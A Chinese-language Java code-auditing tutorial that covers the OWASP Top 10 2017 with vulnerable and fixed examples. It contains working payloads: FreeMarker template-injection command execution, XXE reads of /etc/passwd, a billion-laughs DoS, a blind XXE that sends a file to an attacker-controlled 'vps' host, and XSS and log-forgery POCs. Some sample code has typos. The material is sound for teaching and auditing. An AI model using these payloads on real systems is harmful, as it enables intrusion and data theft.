Java代码审计入门篇:OWASP TOP 10 2017
注入
SQL注入
JDBC拼接不当造成SQL注入
JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。
- Statement对象的SQL注入
String sql = "select * from user where id = " + req.getParameter("id");
System.out.println(sql);
try {
java.sql.Statement st = con.createStatement();
ResultSet re = st.executeQuery(sql);
while (rs.next()) {
out.println("<br> id: "+rs.getObject("id"));
out.println("<br> name: "+rs.getObject("name"));
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
这段代码使用拼接的方式将用户输入的参数 id
带入 SQL 语句中,创建 Statement 对象来进行 SQL 语句的执行。经过拼接构造之后最终在数据库中执行的语句为select * from user where id = 1 or 1=2
,改变了程序想要查询 id=1
的含义,通过回显可以判断出存在 SQL 注入。
- PrepareStament对象的SQL注入
String sql = "select * from user where id = " + req.getParameter("id");
System.out.println(sql);
try {
java.sql.PreparedStatement psst = con.prepareStament(sql);
ResultSet re = st.executeQuery(sql);
while (rs.next()) {
out.println("<br> id: "+rs.getObject("id"));
out.println("<br> name: "+rs.getObject("name"));
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
PrepareStament 方法支持使用 ?
对变量位进行占位,在预编译阶段填入相应的值构造出完整的 SQL 语句,此时可以避免 SQL 注入的产生。但是开发者有时为了方便,会直接采用拼接的方式构造 SQL 语句,此时进行预编译则无法阻止 SQL 注入的产生。
- 安全的SQL语句
PrintWriter out = resp.getWriter();
String sql = "select * from user where id = ?";
System.out.println(sql);
try {
java.sql.PreparedStatement psst = con.prepareStament(sql);
psst.setInt(1, Integer.parseInt(res.getParameter("id")));
ResultSet re = psst.executeQuery();
while (rs.next()) {
out.println("<br> id: "+rs.getObject("id"));
out.println("<br> name: "+rs.getObject("name"));
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
正确地使用 PreparedStatement 可以避免 SQL 注入的产生,使用 ?
作为占位符时,填入对应字段的值会进行严格的类型检查。
框架使用不当造成SQL注入
Java项目会对JDBC进行更抽象封装的持久化框架,通常在底层实现对SQL注入的防御。但如果研发人员未能恰当使用框架的情况下,仍可能存在SQL注入的风险。
MyBatis框架
MyBatis的思想是将SQL语句编入配置文件,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改和配置。
MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}
和${Parameter}
两种方式。
使用#{Parameter}
方式会使用?
占位进行预编译,因此不存在 SQL 注入的问题。
<select id="getUsername" resultType="com.z1ng.bean.User">
select id,name,age from user where name = #{name}
</select>
使用${Parameter}
方式则是进行拼接,存在 SQL 注入。
<select id="getUsername" resultType="com.z1ng.bean.User">select id,name,age from user where name = ${name}
</select>
Hibernate框架
Hibernate是Java持久化API规范的一种实现方式。将Java类映射到数据表中,从Java数据类型映射到SQL数据类型。是目前主流的Java数据库持久化框架,采用Hibernate查询语言。(HQL)
HQL 语法与SQL类似,但有所不同,在漏洞上具有一定的限制。HQL查询语句是对持久化类的对象进行操作而不是直接对数据库进行操作,因此使用Hibernate引擎进行解析。
正确使用参数绑定的方式可以避免注入的产生:
- 位置参数
String parameter = "admin";
Query<User> query = session.createQuery("from com.admin.bean.Userwhere name = ?1", User.class);
query.setParameter(1, parameter);
- 命名参数
Query<User> query = session.createQuery("from com.admin.bean.User where name = ?1", User.class);String parameter = "admin";
Query<User> query = session.createQuery("from com.admin.bean.User where name = :name", User.class);query.setParameter("name", parameter);
- 命名参数列表
List<String> names = Arrays.asList("admin", "guest");
Query<User> query = session.createQuery("from com.admin.bean.User where name in (:name)", User.class);
query.setParameter("name", names);
- 类实例(JavaBean)
user1.setName("admin");
Query<User> query = session.createQuery("from com.admin.bean.User where name = :name", User.class);
query.setProperties(user1);
Hibernate支持原生的 SQL 语句执行,于 JDBC 的 SQL 注入相同,直接拼接构造 SQL 语句会导致安全隐患的产生,应采用参数绑定的方式构造 SQL 语句。
- 拼接构造如下
Query<User> query = session.createNativeQuery("select * from user where name = '"+paremeter+"'");
- 参数绑定如下
Query<User> query = session.createNativeQuery("select * from user where name = :name");
query.setParameter("name",parameter);
命令注入
Java 的 Runtime 类可以提供调用系统命令的功能。如下代码可以根据用户输入的指令执行系统命令。由于 CMD 参数可控,用户可以在服务器上执行任意系统命令,相当于获得了服务器权限。
public class TestServlet extends HttpServlet {
protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
String cmd = req.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int i = -1;
while ((i = in.read(b)) != -1) {
byteArrayOutputStream.write(b, 0, i);
}
PrintWriter out = resp.getWriter();
out.println(new String(byteArrayOutputStream.toByteArray()));
}
}
命令注入的局限
系统命令支持使用连接符来执行多条语句,常见的有:
- | 前面命令输出结果作为后面命令的输入内容
- || 前面命令执行失败才执行后面的命令
- & 前面命令执行后继续执行后面的命令
- && 前面命令执行成功后才执行后面的命令
在Java中连接符的使用存在一定局限性,会被当做一个完整的字符串而非两条命令。传入的字符串会优先经过StringTokenizer的处理,后续会分割出cmdarray来保存分割后的命令参数,而经过处理后参数会被当做被执行的参数,所以命令分割符不生效。
代码注入
代码注入漏洞的前提条件是将用户输入的数据作为Java代码执行。通过Java的反射,根据传入的不同类名、方法名和参数执行不同的功能。
String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{req.getParameter("Args").toString()};
try {
Class clazz = Class.forName(ClassName);
Constructor constructor = clazz.getConstructor(String[].class);
Object obj = constructor.newInstance(new Object[]{Args});
Method method = clazz.getMethod(MethodName);
method.invoke(obj);
} catch (ClassNotFoundException e) {
...
}
Apache Commons collections 组件3.1版本有一段利用反射来完成特定功能的代码。控制相关参数之后,就可以进行代码注入,而攻击者可以通过反序列化的方式控制相关参数,完成注入代码,达到执行任意代码的效果,关键方法如下:
public InvokerTransformer(String methodName, Class[] parameterTypes, Object[] args) {
this.iMethodName = methodName;
this.iParameterTypes = parameterTypes;
this.iArgs = args;
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParameterTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
......
}
}
}
}
与命令注入相比,代码注入更具有灵活性。例如在 Apache Commons collections 反序列化漏洞中直接使用 Runtime.getRuntime().exec()
执行系统命令是无回显的。其中一种有回显的思路是通过 URLloader 远程加载类文件以及异常处理机制构造出可以回显的利用方式。
表达式注入
EL表达式基础
表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,用于作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或执行简单的运算或判断操作。
EL表达式的主要功能如下:
- 获取数据:EL 表达式可以从 JSP 的四大作用域中获取数据
- 执行运算:利用 EL 表达式可以在 JSP 页面中执行一些基本的关系运算、逻辑运算和算术运算,以在 JSP 页面中完成一些简单的逻辑运算
- 获取 Web 开发常用对象: EL 表达式内置了11个隐式对象,开发者可以通过这类隐式对象获得想要的数据
- 调用 Java 方法:EL 表达式允许用户开发自定义 EL 函数,以在 JSP 页面中通过 EL 表达式调用 Java 类的方法
JSP四大作用域
- page:只在一个页面保存数据
- request:只在一个请求中保存数据
- session:在一次会话中保存数据,单用户使用
- application:在整个服务器中保存数据,全用户共享
EL基础语法
在JSP中,用户可以使用${}
来表示此处为 EL 表达式,例如,表达式 ${ name }
表示获取 name 变量。当 EL 表达式未指定作用域范围时,默认在 page 作用域范围,查找,而后依次在 request、session、application 范围查找,也可以使用作用域范围前缀来指定某个作用域范围中查找。例如,表达式${ requestScope.name }
表示在 request 作用域方位中获取 name 变量。
获取对象属性
EL 表达式有两种获取对象属性的方式。第一种格式为 ${对象.属性}
,例如:${param.name}
表示获取 param 对象中的 name 属性。第二种为使用 []
符号,例如:${param[name]}
。当属性名中存在特殊字符或者属性名是一个变量时,则需要使用[]
符号的方式获取属性,例如:${User["Login-Flag"]}
和${User[data]}
表达式使用实例
在实例中,我们可以通过 param 对象来获取用户传入的参数值,每个页面会根据用户的输入显示不同的值
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<html>
<head>
<title>EL表达式实例</title>
</head>
<body>
<center>
<h3>输入的值为: ${param.name}</h3>
</center>
</body>
</html>
EL 表达式也能实例化 Java 的内置类,如 Runtime.class 会执行系统命令:${Runtime.getRuntime().exec("calc")}
模板注入
FreeMarker 模板注入
FreeMarker模板文件如同 HTML 页面一样,时静态页面,普通用户访问该页面时, FreeMarker 引擎进行解析并动态替换模板中的内容进行渲染,随后将渲染出的结果发送到访问者的浏览器中。
FreeMarker模板语言(FTL)由4个部分组成。
- 文本:文本会原样输出
- 插值:这部分的输出会被模板引擎计算得到的值进行替换
- FTL 标签:FTL 标签与 HTML 标签相似,但是它们是给 FreeMarker 的指示,而且不会打印在输出内容中
- 注释:注释与 HTML 的注释也很相似。注释会被 FreeMarker 直接忽略,更不会再输出内容中显示。
(1)内建函数的利用
FreeMarker中预制了大量的内建函数,若不加以限制会引发一些安全问题
(2)new 函数的利用
new函数可以创建一个继承自 freemarker.template.TemplateModel 类的实例,freemarker.template.utility 包中的几个类都能够用来执行恶意代码:
// ObjectConstructor
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("Java.lang.OricessBulider","calc.exe").star()}
// JythonRuntime
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>
// Execute
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
(3)api 函数的使用
api 函数可以用来访问 Java API ,使用方法为 value?api.someJavaMethod()
,相当于 value.someJavaMethod
。因此可以利用 api 函数通过 getClassLoader 来获取一个类加载器,进而加载而一类。也可以通过 getResource 来读取服务器上的资源文件。
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("Evil.class")}
失效的身份验证
错误地使用应用程序的身份认证和会话管理功能,使攻击者能够破译密码,密钥或会话令牌,或者利用其他开发漏洞暂时或长久地冒充其他用户的身份,导致攻击者可以执行受害者用户的任何操作。
案例:WebGoat8 JWT Token 猜解实验
敏感信息泄露
敏感信息包括系统敏感信息以及应用敏感信息。
系统敏感信息指业务系统本身的基础环境信息,例如系统信息、中间件版本、代码信息等
应用信息包括个人的身份证、姓名、电话号码、邮箱等。
案例:TurboMail 5.2.0 敏感信息泄露
XML外部实体注入(XXE)
攻击者可以利用XXE实现任意文件读取、内网端口探测、命令执行、拒绝服务攻击等方面的攻击。
实体指的是DTD实体,定义引用普通文本或特殊字符的快捷方式的变量。
实体可以分成内部内部声明实体和引用外部实体,引用外部实体可以支持http、file、ftp、jar、netdoc、gopher等协议。
读取系统文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
DoS攻击
通过多个引用指数级扩展XML大小。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
Blind XXE
对于没有回显的XXE来说,可以通过引用外部DTD的方式将数据外带。
发送
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/evil.dtd">
%remote;%int;%send;
]>
在自己的VPS上开启监听,并弄一个evil.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps:2333?p=%file;'>">
连续调用了三个参数实体 %remote;%int;%send;
,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 evil.dtd ,有点类似于将 evil.dtd 包含进来,然后 %int 调用 evil.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程服务器上,这样就实现了外带数据的效果,解决了 XXE 无回显的问题。
修复
设置属性,禁止使用外部实体
失效的访问控制
失效的访问控制是指未对通过身份验证的用户实施恰当的访问控制,可以利用缺陷访问未授权的功能或数据,例如访问其他用户的账户,查看敏感文件,修改其他用户的数据,更改访问权限等。
横向越权
横向越权指权限平级的两个用户之间的越权访问。比如一个普通的用户A通常只能够对自己的一些信息进行增删改查,但是由于开发者的疏忽大意,Web 应用在对信息进行增删改查时未判断所操作的信息是否属于对应的用户。因而导致用户A可以操作其它平级用户的信息。
纵向越权
纵向越权指的是权限不等的两个用户之间的越权操作,通常是低权限的用户可以直接访问到高权限的用户信息。
安全配置错误
安全配置错误可以发生在一个应用程序对战的任何层面,包括网络服务、平台、Web服务器、应用服务器、数据库、框架、自定义的代码、预安装的虚拟机、容器、存储等。这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的HTTP标头配置以及包含敏感信息的详细错误信息造成的。
案例:Tomcat 任意文件写入(CVE-2017-12615)、Tomcat AJP文件包含漏洞(CVE-2020-1938)、Spring Boot远程命令执行
XSS
从Web应用上来看,攻击者可以控制的参数包括URL参数、post提交的表单数据以及搜索框提交的搜索关键字,审计策略如下:
- 收集输入、输出点
- 查看输入、输出点的上下文环境
- 判断WEB应用是否对输入、输出防御(如过滤、扰乱以及编码)
反射型XSS漏洞
反射型XSS漏洞通过外部输入,然后直接在浏览器端触发。在白盒审计的过程中,我们需要寻找带有参数的输出方法,然后根据输出方法对输出内容内容回溯输入参数。
<%
//部署在服务器端
//从请求参数中获得“name”参数
String name = request.getParameter("name");
//从请求参数中获取“学号参数”
String studentId = request.getParameter("sid");
out.println("name = "+name);
out.println("studentId = "+studentId);
%>
恶意POC为:
?sid=31&&name=jj<script>alert(1)</script>
存储型XSS漏洞
在挖掘存储型XSS漏洞时,要统一寻找“输入点”和“输出点”。由于“输入点”和“输出点”可能不在同一个业务流中,在挖掘这类漏洞时,可以考虑通过以下方式提高效率:
- 黑白盒结合
- 通过功能、接口名、表名、字段名等角度做搜索
案例:博客系统 ZrLog 1.9.1存储型XSS漏洞
DOM型XSS漏洞
DOM型XSS漏洞时基于Document Object Model(文本对象模型)得一种XSS漏洞,客户端的脚本程序可以通过DOM动态地操作和修改页面内容。DOM型XSS漏洞不需要与服务器交互,它只发生在客户端处理数据阶段。粗略地说,DOM XSS漏洞的诚信是不可控的危险数据,未经过滤被传入存在缺陷的 JavaScript 代码处理。
<script>
var pos = document.URL.indexOf('#')+1;
var name = document.URL.substring(pos, document.URL.length);
document.write(name);
eval("var a=" + name);
</script>
恶意POC为:
xxxxx#1;alert(/safedog)
DOM型XSS漏洞常见的输入输出点:
输入点 | 输出点 |
---|---|
document.url | eval |
document.location | document.write |
document.referer | document.InnerHTML |
document.form | document.OuterHTML |
…… | …… |
修复建议
- 对与后端有交互的位置执行参数的输入过滤
可以通过Java的过滤器 filter、Spring 参数校验注解来实现
- 对与后端有交互的位置执行参数的输出转义
可以通过运用 org.springframework.web.util.HtmlUtils 或 commons-lang-2.5.jar 实现HTML 标签及转义字符之间的转换
- 开启 JS 开发框架的 XSS 防护功能(若应用了 JS 开发框架)
例如,JS 开发框架 AngularJS 默认启动了对 XSS 攻击的防御
- 这只 HttpOnly
严格地说,设置 HttpOnly 对防御 XSS 漏洞不起作用,主要是为了解决 XSS 漏洞后续的 Cookie 劫持攻击。这一攻击方式可以组织客户端脚本访问 Cookie
- 践行 DOM Based XSS Prevention Cheat Sheet
为了防御 DOM 型 XSS,可参照 OWASP 的DOM Based XSS Prevention Cheat Sheet
不安全的反序列化
Java 反序列化通过 ObjectInputStream 类的 readOject()
方法实现。在反序列化的过程中,一个字节流将按照二进制结构被序列化成一个对象。当开发者重写 readOject()
方法或 readExternal()
方法时,其中如果隐藏有一些危险的操作且未对正在进行序列化的字节流进行充分的检测时,则会成为反序列化漏洞的触发点。
漏洞产生的必要条件
- 程序中存在一条可以产生安全问题的利用链,如远程代码执行
在程序中,通过方法调用、对象传递和反射机制等手段作为跳板,攻击者能够构造出一个产生安全问题的利用链,如任意文件读取或写入、远程代码执行等漏洞。利用链又称作 Gadget chain,利用链的构造往往由多个类对象组成,环环相扣就像一个链条
- 触发点
反序列化扩展
RMI
Java RMI(Java Remote Method Invocation,Java远程方法调用)是允许运行在一个Java虚拟机的对象调用另一个Java虚拟机对象的方法,通过反序列化的方式传输对象,利用RMI作为反序列化的触发点。
JNDI
JNDI(Java Naming and Directory Interface, Java命令和目录接口)是一组应用程序接口,目的是方便查找远程或本地对象。通过JNDI获取远程对象过程中,如果访问的服务地址可控,加载并实例化恶意对象,造成JNDI注入。
利用过程如下:
- 当客户端程序中调用了
InitialContext.lookup(url)
,且 url 可以被输入控制,执行精心构造好的的 RMI 服务地址 - 恶意的 RMI 服务会向受攻击的客户端返回一个 Reference,用于获取恶意的 Factory类。
- 当客户端执行
lookup()
时,会对恶意的 Factory 类进行加载并实例化。通过factory.getObjectInstance()
获取外部远程对象实例。 - 攻击者在 Factory 类文件的构造方法、静态代码块、
getObjectInstance()
方法等处写入恶意代码,达到远程代码执行的效果。 - JEP290:内置过滤器,只允许特定的类进行反序列化。
案例:Apache Commons Collections 反序列化漏洞、FastJson反序列化漏洞
使用含有已知漏洞的组件
案例:Weblogic 中组件漏洞、富文本编辑器漏洞
不足的日志记录和监控
不足的日志记录和监控,以及事件响应趋势或无效的集成,这类漏洞使攻击者能够进一步攻击系统、保持持续性或转向更系统,以及篡改提取或销毁证据。
CRLF注入漏洞
CRLF的缩写是指回车和换行操作,其中 CR 为ASCII 中的第13个字符,也写作 \r
,LF 是 ASCII 中的第10个字符,也写作 \n
,因此 CRLF 一般翻译为回车换行注入漏洞。
下列代码会从一个请求对象中去读整数值。如果数值未被解析为整数,输入就会被记录到日志中,并附带一条提示相关的错误信息。
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%@ page import="java.util.logging.Level" %>
<%@ page import="java.util.logging.Logger" %>
<html>
<head>
<title>日志注入</title>
</head>
<body>
<%
String val = request.getParameter("val");
Logger log = Logger.getLogger("log");
log.setLevel(Level.INFO);
try {
int value = Integer.parseInt(val);
System.out.print(value);
}catch (Exception e) {
log.info("Filed to parse val = " + val);
}
%>
</body>
</html>
如果提交的 val 参数为 twenty-one ,则日志会记录以下条目:
INFO:Filed to parse val = twenty-one
然而如果攻击者构造 val 参数为 twenty-one%0a%0aINFO:User+logger+out+%3d+badguy
(%0a
是换行符的 URL 编码,%3d
是 =
的 URL 编码),则日志中就会记录下以下条目:
INFO:Filed to parse val = twenty-one
INFO:User logger out = badguy
显然,攻击者可以通过将未经验证的用户输入写入日志文件,使日志条目被伪造或者恶意信息被注入日志。
此外,CRLF 漏洞有两种常见的攻击手法:HTTP 请求走私和 HTTP 相应拆分。
未记录可审计性事件
对“可审计性事件”进行记录有利于安全运维,回溯审计。在对某些重要业务或数据信息进行溯源时,日志的记录越详细越好,但出于对性能等因素的考虑,则重点会有不同。最基础的日志记录可涵盖以下信息:
- 事件发生的时间
- 用户 ID
- 访问发起段地址或标识(如关联终端、端口、网络地址或通信设备)
- 事件类型
- 被访问的资源名称
- 事件的结果
日志记录方式包括以下两种:
- 高度代码耦合:在业务逻辑中直接调用日志记录接口
- 采用 AOP 方式:AOP 方式能与业务逻辑解耦。
对日志记录和监控的安全建议
- Web 应用服务器必须对安全事件及操作事件进行日志记录
- Web 应用须保证日志记录完整
- Web 应用须限定用户对日志的访问权限
- Web 应用须对日志模块所占用的资源进行限制
- Web 应用须保证日志文件不与操作系统存储在同一个分区
- Web 应用须保证只有在调试模式下才能输出调试日志